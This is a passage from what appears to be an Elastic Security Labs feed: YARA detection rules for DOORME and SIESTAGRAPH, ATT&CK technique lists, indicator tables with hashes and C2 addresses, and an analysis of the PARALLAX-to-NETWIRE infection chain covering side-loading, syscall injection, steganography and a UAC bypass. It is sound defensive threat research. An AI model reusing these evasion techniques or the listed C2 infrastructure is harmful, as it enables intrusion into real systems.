        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = &quot;.?AVDoorme@@&quot; ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}

rule Windows_Trojan_SiestaGraph {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-12-14&quot;
        last_modified = &quot;2022-12-15&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;SiestaGraph&quot;
        threat_name = &quot;Windows.Trojan.SiestaGraph&quot;
        reference_sample = &quot;50c2f1bb99d742d8ae0ad7c049362b0e62d2d219b610dcf25ba50c303ccfef54&quot;
    strings:
        $a1 = &quot;downloadAsync&quot; ascii nocase fullword
        $a2 = &quot;UploadxAsync&quot; ascii nocase fullword
        $a3 = &quot;GetAllDriveRootChildren&quot; ascii fullword
        $a4 = &quot;GetDriveRoot&quot; ascii fullword
        $a5 = &quot;sendsession&quot; wide fullword
        $b1 = &quot;ListDrives&quot; wide fullword
        $b2 = &quot;Del OK&quot; wide fullword
        $b3 = &quot;createEmailDraft&quot; ascii fullword
        $b4 = &quot;delMail&quot; ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}
</code></pre>
<h2>Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0043/">Reconnaissance</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006">Credential access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and control</a></li>
</ul>
<h3>Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1592/">Gather host information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1589/">Gather victim information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1590/">Gather victim network information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1591/004/">Gather victim org information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit public-facing application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: Windows command-shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Powershell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1135/">Network share discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1018/">Remote system discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and directory discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1021/002/">Remote services: SMB/Windows admin shares</a></li>
<li><a href="https://attack.mitre.org/techniques/T1007/">System service discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System owner/user discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack execution flow: DLL side-loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/004/">Masquerading: Masquerade task or service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator removal: File deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/decode files or information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/sandbox evasion: Time based Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/003/">OS credential dumping: NTDS</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/002/">OS credential dumping: Security Account Manager</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/006/">OS credential dumping: DCSync</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or modify system process: Windows service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled task/job: Scheduled task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid accounts</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server software component: IIS components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/003/">Server software component: Web shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1114/001/">Email collection: Local email collection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1560/001/">Archive collected data: Archive via utility</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1102/">Web service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application layer protocol: Web protocols</a></li>
</ul>
<h2>References</h2>
<ul>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme">https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme</a></li>
<li><a href="https://www.elastic.co/jp/security-labs/stopping-vulnerable-driver-attacks">https://www.elastic.co/jp/security-labs/stopping-vulnerable-driver-attacks</a></li>
<li><a href="https://threatfox.abuse.ch/ioc/1023850/">https://threatfox.abuse.ch/ioc/1023850/</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper">https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell">https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell</a></li>
<li><a href="https://github.com/tennc/webshell/blob/master/Godzilla/123.ashx">https://github.com/tennc/webshell/blob/master/Godzilla/123.ashx</a></li>
</ul>
<h2>Observables</h2>
<p>All observables are also available <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc0eb869ac242975f/637bf8b1fa033a109b5d94bd/ref4526-indicators.zip">for download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>1a87e1b41341ad042711faa0c601e7b238a47fa647c325f66b1c8c7b313c8bdf</td>
<td>SHA-256</td>
<td>OfficeClient.exe and OfficeCore.exe</td>
<td>SIESTAGRAPH</td>
</tr>
<tr>
<td>7fc54a287c08cde70fe860f7c65ff71ade24dfeedafdfea62a8a6ee57cc91950</td>
<td>SHA-256</td>
<td>Officeclient.exe</td>
<td>SIESTAGRAPH</td>
</tr>
<tr>
<td>f9b2b3f7ee55014cc8ad696263b24a21ebd3a043ed1255ac4ab6a63ad4851094</td>
<td>SHA-256</td>
<td>officeup.exe</td>
<td>SIESTAGRAPH</td>
</tr>
<tr>
<td>c283ceb230c6796d8c4d180d51f30e764ec82cfca0dfaa80ee17bb4fdf89c3e0</td>
<td>SHA-256</td>
<td>Microsoft.Exchange.Entities.Content.dll</td>
<td>DOORME</td>
</tr>
<tr>
<td>4b7d244883c762c52a0632b186562ece7324881a8e593418262243a5d86a274d</td>
<td>SHA-256</td>
<td>iisrehv.dll</td>
<td>SessionManager</td>
</tr>
<tr>
<td>54f969ce5c4be11df293db600df57debcb0bf27ecad38ba60d0e44d4439c39b6</td>
<td>SHA-256</td>
<td>kk2.exe</td>
<td>mhyprot.sys loader</td>
</tr>
<tr>
<td>509628b6d16d2428031311d7bd2add8d5f5160e9ecc0cd909f1e82bbbb3234d6</td>
<td>SHA-256</td>
<td>mhyprot.sys</td>
<td>vulnerable driver</td>
</tr>
<tr>
<td>386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd</td>
<td>SHA-256</td>
<td>13802 AR.exeBDReinit.exe</td>
<td>vulnerable Bitdefender Crash Handler</td>
</tr>
<tr>
<td>452b08d6d2aa673fb6ccc4af6cebdcb12b5df8722f4d70d1c3491479e7b39c05</td>
<td>SHA-256</td>
<td>log.dll</td>
<td>SHADOWPAD</td>
</tr>
<tr>
<td>5be0045a2c86c38714ada4084080210ced8bc5b6865aef1cca658b263ff696dc</td>
<td>SHA-256</td>
<td>APerfectDayBase.dll</td>
<td>malicious DLL injected into vulnerable binaries</td>
</tr>
<tr>
<td>3f5377590689bd19c8dd0a9d46f30856c90d4ee1c03a68385973188b44cc9ab7</td>
<td>SHA-256</td>
<td>AlarmClock.exe</td>
<td>benign, but targeted for side-loading APerfectDayBase.dll</td>
</tr>
<tr>
<td>f2a9ee6dd4d1ceb4d97138755c919549549311c06859f236fc8655cf38fe5653</td>
<td>SHA-256</td>
<td>Loader.any</td>
<td>currently unknown DLL</td>
</tr>
<tr>
<td>3b41c46824b78263d11b1c8d39cfe8c0e140f27c20612d954b133ffb110d206a</td>
<td>SHA-256</td>
<td>Loader.any</td>
<td>currently unknown DLL</td>
</tr>
<tr>
<td>9b66cd1a80727882cfa1303ada37019086c882c9543b3f957ee3906440dc8276</td>
<td>SHA-256</td>
<td>Class1.exe</td>
<td>currently unknown file</td>
</tr>
<tr>
<td>185.239.70.229</td>
<td>ipv4</td>
<td>na</td>
<td>Cobalt Strike C2</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/photo-edited09.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Exploring the REF2731 Intrusion Set]]></title>
            <link>https://www.elastic.co/jp/security-labs/exploring-the-ref2731-intrusion-set</link>
            <guid>exploring-the-ref2731-intrusion-set</guid>
            <pubDate>Tue, 06 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[The Elastic Security Labs team has been tracking REF2731, an 5-stage intrusion set involving the PARALLAX loader and the NETWIRE RAT.]]></description>
            <content:encoded><![CDATA[<h2>Key Takeaways</h2>
<ul>
<li>PARALLAX loader maldoc campaigns continue to have success delivering the NETWIRE RAT.</li>
<li>The PARALLAX loader leverages advanced features including DLL-side loading, syscall usage, process, and steganography.</li>
<li>Shared infrastructure can be used to stitch campaigns and intrusion sets together.</li>
</ul>
<h2>Preamble</h2>
<p>The Elastic Security Labs team has been tracking REF2731, an intrusion set involving the <a href="https://twitter.com/malwrhunterteam/status/1227196799997431809">PARALLAX loader</a> which deploys the NETWIRE RAT. This activity has managed to stay under the radar with low detection rates and continues to incorporate interesting techniques such as DLL side-loading, syscall adoption, process injection, and leveraging steganography.</p>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax">PARALLAX</a> is a full-featured modal backdoor and loader featuring defense evasion and information on stealing capabilities, first observed in 2020 and associated with COVID-19 malspam campaigns. <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire">NETWIRE</a> is a mature and cross-platform RAT that was first observed in 2012</p>
<p>In this research publication, we will go through the execution flow of one of the observed campaigns, the different features of the PARALLAX loader, technical analysis around the campaigns, campaign intersections, detection logic, and atomic indicators.</p>
<h2>Execution Flow (PARALLAX loader)</h2>
<p>The Elastic Security Labs team has been monitoring multiple campaigns over the past year leveraging the <a href="https://blog.morphisec.com/parallax-rat-active-status">PARALLAX loader</a>. PARALLAX has multiple capabilities and use cases. This analysis observed the PARALLAX loader being used to load other remote access tools (the NETWIRE RAT). Using our PARALLAX payload extractor, we have also observed the PARALLAX loader being used to load the PARALLAX RAT for interactive remote access. These infections typically start through email spam campaigns delivering macro-enabled lure documents.</p>
<blockquote>
<p>On July 27, 2022, Microsoft began rolling out a <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">change to Office documents</a> that will prevent users from opening macros in files that came from the Internet, such as email attachments. We have not observed a change in TTPs based on this update from this intrusion set. Our sampling for this research of macro-enabled Word documents started in March of 2022 and continued through August 2022.</p>
</blockquote>
<p>High-level summary of the execution flow:</p>
<ol>
<li>An email is sent to a victim with a macro-enabled Microsoft Word document attachment.</li>
<li>The macro downloads malicious files used for DLL-side loading and injection.</li>
<li>The Microsoft developer tool ( <strong>MsiDb.exe</strong> ) sideloads the malicious ( <strong>msi.dll</strong> ).</li>
<li>This malicious DLL drops and decrypts a WAV file ( <strong>cs16.wav</strong> ) before injecting the contents (shellcode) into <strong>cmd.exe</strong>.</li>
<li>The injected shellcode is used to extract the NETWIRE RAT and set up the PARALLAX loader from a dropped image ( <strong>paper.png</strong> ) and inject into <strong>cmd.exe.</strong></li>
<li>A scheduled task is used to establish persistence for the PARALLAX RAT.</li>
<li>The NETWIRE payload is then executed and sets up its own persistence mechanism.</li>
</ol>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image30.png" alt="Execution flow diagram" /></p>
<h3>First Stage (lure/macro)</h3>
<p>The first stage in these campaigns involves macro-enabled lure documents typically with themes around United States tax filings.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image9.jpg" alt="Image from lure document walking victim through enabling macros" /></p>
<p>In this lure, we observed legitimate code lifted from the <a href="https://www.gnu.org/software/glpk/">GLPK</a> (GNU Linear Programming Kit) used to bypass static analysis of the macro. The malicious code is then interwoven within the macro making it look very genuine and more deceptive.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image12.jpg" alt="Legitimate code from GLPK used in macro" /></p>
<p>This approach to obfuscation is also observed when critical components used for the next stage are not stored in the macro itself but called from text buried several pages deep within the lure document.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image1.jpg" alt="Download components embedded as text" /></p>
<p>The macro parses the embedded paragraph text on page three of the lure document and locates the object names and next stage components based on their string length. This is a clever technique to avoid detection based on static analysis of the macro (green text comments added to the images below by ESL for clarity).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image25.jpg" alt="VBA code parsing" /></p>
<p>The macro then uses the <strong>CreateObject</strong> function to create the required objects and download each of the malware components, saving them to the <strong>AppData</strong> directory of the current user.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image26.jpg" alt="VBA code to create objects" /></p>
<p>It then executes <strong>AppData\MsiDb.exe</strong> through the created <strong>wscript.shell</strong> object.</p>
<p>For this observed lure, the five components that are downloaded for the next stage as identified in the embedded text image above are:</p>
<table>
<thead>
<tr>
<th>Filename</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>MsiDb.exe</td>
<td>Legitimate Microsoft development application used to import/export database tables and streams</td>
</tr>
<tr>
<td>msi.dll</td>
<td>Malicious DLL used for side-loading</td>
</tr>
<tr>
<td>cs16.wav</td>
<td>XOR encrypted shellcode</td>
</tr>
<tr>
<td>paper.png</td>
<td>Obfuscated NETWIRE and additional PARALLAX loader stager</td>
</tr>
<tr>
<td>cs16.cfg</td>
<td>Configuration containing the location of the next execution stage png file, it can either be local or hosted in a remote server</td>
</tr>
</tbody>
</table>
<h3>Second Stage (MsiDb.exe)</h3>
<p>One of the key strengths in these campaigns is its ability to bypass static detection by modifying legitimate DLLs, a common trend previously reported with the BLISTER loader analysis [<a href="https://www.elastic.co/jp/security-labs/blister-loader">1</a>, <a href="https://www.elastic.co/jp/security-labs/elastic-security-uncovers-blister-malware-campaign">2</a>]. Once all the components are retrieved, the macro executes the signed Microsoft development tool ( <strong>MsiDb.exe</strong> ) to load the previously downloaded malicious library ( <strong>msi.dll</strong> ).</p>
<p>When the campaign began in September of 2022, this DLL had zero detections in VirusTotal due to its DLL tampering technique where a slight modification of a benign function is overwritten with the second stage.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image35.jpg" alt="0 detection rate on initial upload in VirusTotal" /></p>
<p>When ( <strong>MsiDb.exe</strong> ) sideloads the malicious ( <strong>msi.dll</strong> ) module, we can see the difference between the patched and unpatched version of <strong>msi.dll</strong>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image36.jpg" alt="Comparison between the original and the patched msi.dll function" /></p>
<p>During this loading stage, the malicious code is heavily obfuscated and leverages <a href="https://unprotect.it/technique/api-obfuscation/">dynamic API resolution</a> to bypass static analysis tools and processes. It performs this using two functions:</p>
<ul>
<li>One function is used to retrieve library addresses using the CRC32 checksum hash of the requested library name.</li>
<li>Another function is used to take the address of the library and the hash of the API name.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image21.jpg" alt="Malicious code performing dynamic API resolution" /></p>
<p>The malware then builds its own import table, storing it on the stack. An interesting aspect is that the malicious code performs an anti-analysis check to see if the current process name matches the targeted application ( <strong>MsiDb.exe</strong> ), if it doesn’t match, the malware will stop at this stage. This check will hinder automated dynamic analysis systems that might try to analyze <strong>msi.dll</strong> in isolation by executing it with other common applications such as <strong>rundll32.exe</strong> or <strong>regsvr32.exe</strong>.</p>
<p>Next, the malware will load <strong>cs16.wav</strong> and XOR-decrypt it using a key embedded in the file. The key resides in the 200 bytes following the first 4 bytes of the file (bytes 5-204).</p>
<p>The malware will then execute the shellcode inside the decrypted WAV file.</p>
<h3>Third Stage (shellcode)</h3>
<p>To evade user mode hooks utilized by EDR/AV products and as debugger breakpoints, the malware uses direct system calls to low-level APIs used for process injection. It performs this by first <a href="https://learn.microsoft.com/en-us/windows/win32/memory/file-mapping">mapping a file view</a> of the Windows <strong>ntdll.dll</strong> library from the System directory.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image40.jpg" alt="NTDLL mapping" /></p>
<p>It then retrieves the API offset by subtracting the API address from the loaded base address of the loaded <strong>ntdll.dll</strong> , then finally it will use the offset from the mapped <strong>ntdll.dll</strong> and extract the syscall number.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image23.jpg" alt="Extracting the syscall number" /></p>
<p>After this, the loader uses the <a href="https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/">Heaven’s Gate technique</a> and performs injection in the suspended <strong>cmd.exe</strong> process leveraging native Windows <strong>ZwAllocateVirtualMemory</strong> , <strong>ZwWriteVirtualMemory,</strong> and <strong>ZwResumeThread</strong> API functions.</p>
<h3>Fourth Stage</h3>
<p>One interesting technique observed during this stage is through the use of a dropped file ( <strong>cs16.cfg</strong> ). The file is a legitimate Python header file and is prepended with the next stage file name ( <strong>paper.png</strong> ). In our observations, these point to local files previously downloaded but also has the flexibility to point to hosted objects. This is another example of using benign code to obfuscate more malicious intent.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image20.jpg" alt="Prepending paper.png to cs16.cfg" /></p>
<p>If the first string of ( <strong>cs16.cfg</strong> ) points to a hosted file, it uses the <a href="https://learn.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager"><strong>IBackgroundCopyManager</strong></a> Component Object Model (COM) interface to download a PNG file and store it on disk ( <strong>paper.png</strong> in our example).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image38.jpg" alt="Downloading the PNG file using BITS" /></p>
<p>The malware extracts a configuration structure from the stenographically-obfuscated PNG that contains the next PARALLAX loader stage and the final payload; in our sample, we identified the final payload as the NETWIRE RAT, but this process could be used to deliver other payloads.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image7.jpg" alt="Stenographically obfuscated PNG file" /></p>
<p>The malware executes position independent shellcode that reads and decodes the PNG file, it first extracts the red pixel bytes to an array by parsing the PNG, then decompresses the data with the <a href="https://www.winzip.com/en/learn/tips/what-is-lzma/">LZMA algorithm</a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image33.jpg" alt="Decompressing PNG extracted data" /></p>
<p>Next, it creates a suspended <strong>cmd.exe</strong> process and injects the NETWIRE payload and the last PARALLAX stage that will set up the environment and execute the NETWIRE payload.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image19.jpg" alt="Process tree of the malware’s execution" /></p>
<p>Below is the memory regions showing the injected process hosting the NETWIRE payload:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image22.jpg" alt="Injected NETWIRE payload in a cmd.exe process" /></p>
<h3>Fifth Stage</h3>
<p>The fifth and final stage of PARALLAX Loader performs a UAC bypass through <strong>CMSTPLUA</strong> COM interface, a technique that has been used by ransomware-like LockBit, it then sets persistence on the system before executing the final payload by creating a scheduled task to run <strong>Msidb.exe</strong> using Component Object Model (COM).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image32.jpg" alt="Scheduled task to run MsiDb.exe" /></p>
<h2>Campaign Analysis</h2>
<p>Throughout the analysis of the lure documents and malware families, we observed two campaigns associated with their TTPs, malware, network infrastructure, and lure metadata.</p>
<p>The intersections we observed allowed us to observe additional network infrastructure and identify the characteristics of one infrastructure owner in Campaign 1.</p>
<p>In the following sections, we will describe relevant elements and artifacts associated with each campaign, as well as their relationships.</p>
<p>This section will be focused on campaign intersections. As each campaign functioned similarly with respect to their technical implementation (lure document -\&gt; macro -\&gt; defense evasion techniques -\&gt; PARALLAX loader -\&gt; NETWIRE RAT), we’ll use the analysis of the five stages for the deployment of the PARALLAX and NETWIRE malware that has been described in detail in the previous Execution Flow section.</p>
<p>While we are not attributing these campaigns to any specific threat actor, we have identified parallel research leveraging the same TTPs that we observed. This research was attributed to the financially motivated threat group, Evilnum [<a href="https://attack.mitre.org/groups/G0120/">1</a>, <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum">2</a>] and the <a href="http://blog.nsfocus.net/darkcasino-apt-evilnum/">DarkCasino campaign</a>.</p>
<h3>Campaign 1</h3>
<h4>Overview</h4>
<p>This campaign is clustered by shared lure document metadata, network infrastructure, dropped macro, and malicious DLL ( <strong>msi.dll</strong> ) <strong>.</strong></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image28.jpg" alt="Campaign 1 node-link analysis" /></p>
<h4>Lure Documents</h4>
<p>The three lure documents used in Campaign 1 were all macro-embedded Microsoft Word documents. The documents were all 153 pages long, with the macro embedded on the 3rd page. The documents all included the H1 Word <a href="https://support.microsoft.com/en-us/office/add-a-heading-3eb8b917-56dc-4a17-891a-a026b2c790f2">document header</a> of <strong>Как я искал Гантмахера</strong> (loosely translated to: “How I searched for Gantmakher”). Vsevolod Gantmakher was a Russian physicist.</p>
<p>Extracting the metadata for all three documents, we can see their relationships based on several fields; most notably:</p>
<ul>
<li>The identical <strong>HeadingPairs</strong> (the names of the Word document header).</li>
<li>The identical <strong>CreationDate</strong> dates.</li>
<li>The identical <strong>LastPrinted</strong> dates.</li>
<li>The <strong>ModifyDate</strong> dates are all within 14-minutes.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image17.jpg" alt="Campaign 1 lure document metadata" /></p>
<p>The H1 document header of the lure documents does not appear relevant to the targeting as the lure document names and lure document content are wholly unrelated: two of the three document names were related to 2021 United States tax filings, all three of the document names are in English, and the contents of the lure documents are in Cyrillic.</p>
<h4>Macro</h4>
<p>The macro downloads five files, detailed in the Execution Flow section above <strong>(cs16.wav</strong>, <strong>msi.dll</strong> , <strong>MsiDb.exe</strong> , <strong>paper.png</strong> , and <strong>cs16.cfg</strong> ), from a different domain for each lure document.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image2.jpg" alt="Campaign 1 macro-downloaded files" /></p>
<h4>Network Infrastructure</h4>
<p>Campaign 1 included three domains contacted by the macro to download artifacts required for stages two through five (described in the “Execution Flow” section above) and three domains used for the NETWIRE RAT C2.</p>
<p>The six domains are:</p>
<ul>
<li>digitialrotprevention[.]com - macro-connected.</li>
<li>internationalmusicservices[.]com - macro-connected.</li>
<li>globalartisticservices[.]com - macro-connected.</li>
<li>ohioohioa[.]com - NETWIRE C2.</li>
<li>ywiyr[.]com - NETWIRE C2.</li>
<li>septton[.]com - NETWIRE C2.</li>
</ul>
<p>The macro-connected domains (digitialrotprevention[.]com, internationalmusicservices[.]com, and globalartisticservices[.]com) include metadata that has allowed us to cluster these three domains together in Campaign 1.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/exploring-the-ref2731-intrusion-set/image29.jpg" alt="Campaign 1 network infrastructure" /></p>
<p>In the above image, the Admin email address and Admin user name is russnet123@protonmail[.]com and <strong>rus fam</strong> , respectively. As of this writing, these domains have been suspended.</p>
<blockquote>
<p>Our research identified an additional domain, micsupportcenter[.]com that had the same Admin email address and Admin user name. The lure document included similar US tax document themes, macro elements, and TTPs; but we were unable to confirm that it was part of this campaign. This lure document was first observed in May of 2022 and is possibly part of a testing wave, but this is speculation. We are confident this is a malicious domain and are including it as an indicator artifact for this intrusion set, but not this campaign.</p>
</blockquote>
<p>Once the execution flow reaches the Fourth Stage (described in the Execution Flow section above), the final three domains (ohioohioa[.]com, ywiyr[.]com, and septton[.]com) act as ongoing command and control nodes for the NETWIRE RAT.</p>
<p>While ​​ohioohioa[.]com and ywiyr[.]com are protected by privacy services, septton[.]com has interesting metadata that we were able to collect and is outlined below in the SEPTTON Domain section below.</p>
<h4>Campaign 1 Indicators</h4>
<table>
<thead>
<tr>
<th>Name</th>
<th>STIX 2.1 Indicator Type</th>
<th>Identifier</th>
</tr>
</thead>
<tbody>
<tr>
<td>bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e</td>
<td>SHA-256</td>
<td>Brian_Tax_Docs.doc lure document</td>
</tr>
<tr>
<td>d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5</td>
<td>SHA-256</td>
<td>VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document</td>
</tr>
<tr>
<td>9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58</td>
<td>SHA-256</td>
<td>All Docs.doc lure document</td>
</tr>
<tr>
<td>16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77</td>
<td>SHA-256</td>
<td>msi.dll PARALLAX loader / NETWIRE</td>
</tr>
<tr>
<td>0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66</td>
<td>SHA-256</td>
<td>cs16.wav (shellcode)</td>
</tr>
<tr>
<td>6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5</td>
<td>SHA-256</td>
<td>cs16.cfg (config for PNG stage)</td>
</tr>
<tr>
<td>5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f</td>
<td>SHA-256</td>
<td>paper.png (stager for NETWIRE)</td>
</tr>
<tr>
<td>globalartisticservices[.]com</td>
<td>domain-name</td>
<td>PARALLAX loader domain</td>
</tr>
<tr>
<td>DigitalRotPrevention[.]com</td>
<td>domain-name</td>
<td>PARALLAX loader domain</td>
</tr>
<tr>
<td>InternationalMusicServices[.]com</td>
<td>domain-name</td>
<td>PARALLAX loader domain</td>
</tr>
<tr>
<td>russnet123@protonmail[.]com</td>
<td>email-addr</td>
<td>PARALLAX loader domain registration email address</td>
</tr>
<tr>
<td>chisholm.i@aol[.]com</td>
<td>email-addr</td>
<td>NETWIRE C2 domain registration email address</td>
</tr>
<tr>
<td>ywiry[.]com</td>
<td>domain-name</td>
<td>NETWIRE C2 domain</td>
</tr>
<tr>
<td>ohioohioa[.]com</td>
<td>domain-name</td>
